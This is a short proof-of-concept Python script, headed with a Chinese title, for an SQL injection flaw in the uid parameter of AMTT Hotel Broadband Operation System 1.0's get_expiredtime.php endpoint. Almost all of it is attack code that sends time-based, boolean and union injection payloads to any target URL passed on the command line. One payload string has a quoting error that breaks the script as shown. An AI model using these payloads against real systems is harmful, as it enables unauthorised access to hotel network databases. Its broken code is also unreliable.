CVE-2025-12253 AMTT酒店宽带系统SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-12253 SQL Injection PoC Target: AMTT Hotel Broadband Operation System 1.0 File: /user/portal/get_expiredtime.php Parameter: uid """ import requests import sys def test_sql_injection(url, uid_payload): """Test SQL injection on uid parameter""" target_url = f"{url}/user/portal/get_expiredtime.php" params = {'uid': uid_payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12253 SQL Injection on {target}") # Test basic SQL injection - time-based blind SQLi # Using SLEEP() function to confirm vulnerability payloads = [ "1' AND SLEEP(5)-- -", "1" OR SLEEP(5)-- -", "1' OR SLEEP(5) AND '1'='1" ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = test_sql_injection(target, payload) if result: print(f"[+] Payload sent successfully") print(f"[+] Response length: {len(result)} characters") # Boolean-based blind SQL injection test boolean_payload = "1' AND 1=1-- -" print(f"\n[*] Testing boolean-based SQLi: {boolean_payload}") test_sql_injection(target, boolean_payload) # Union-based SQL injection test union_payload = "1' UNION SELECT NULL-- -" print(f"\n[*] Testing union-based SQLi: {union_payload}") result = test_sql_injection(target, union_payload) if result: print(f"[+] Possible SQL injection detected") print("\n[*] Testing complete. Review responses for SQL injection confirmation.") if __name__ == "__main__": main()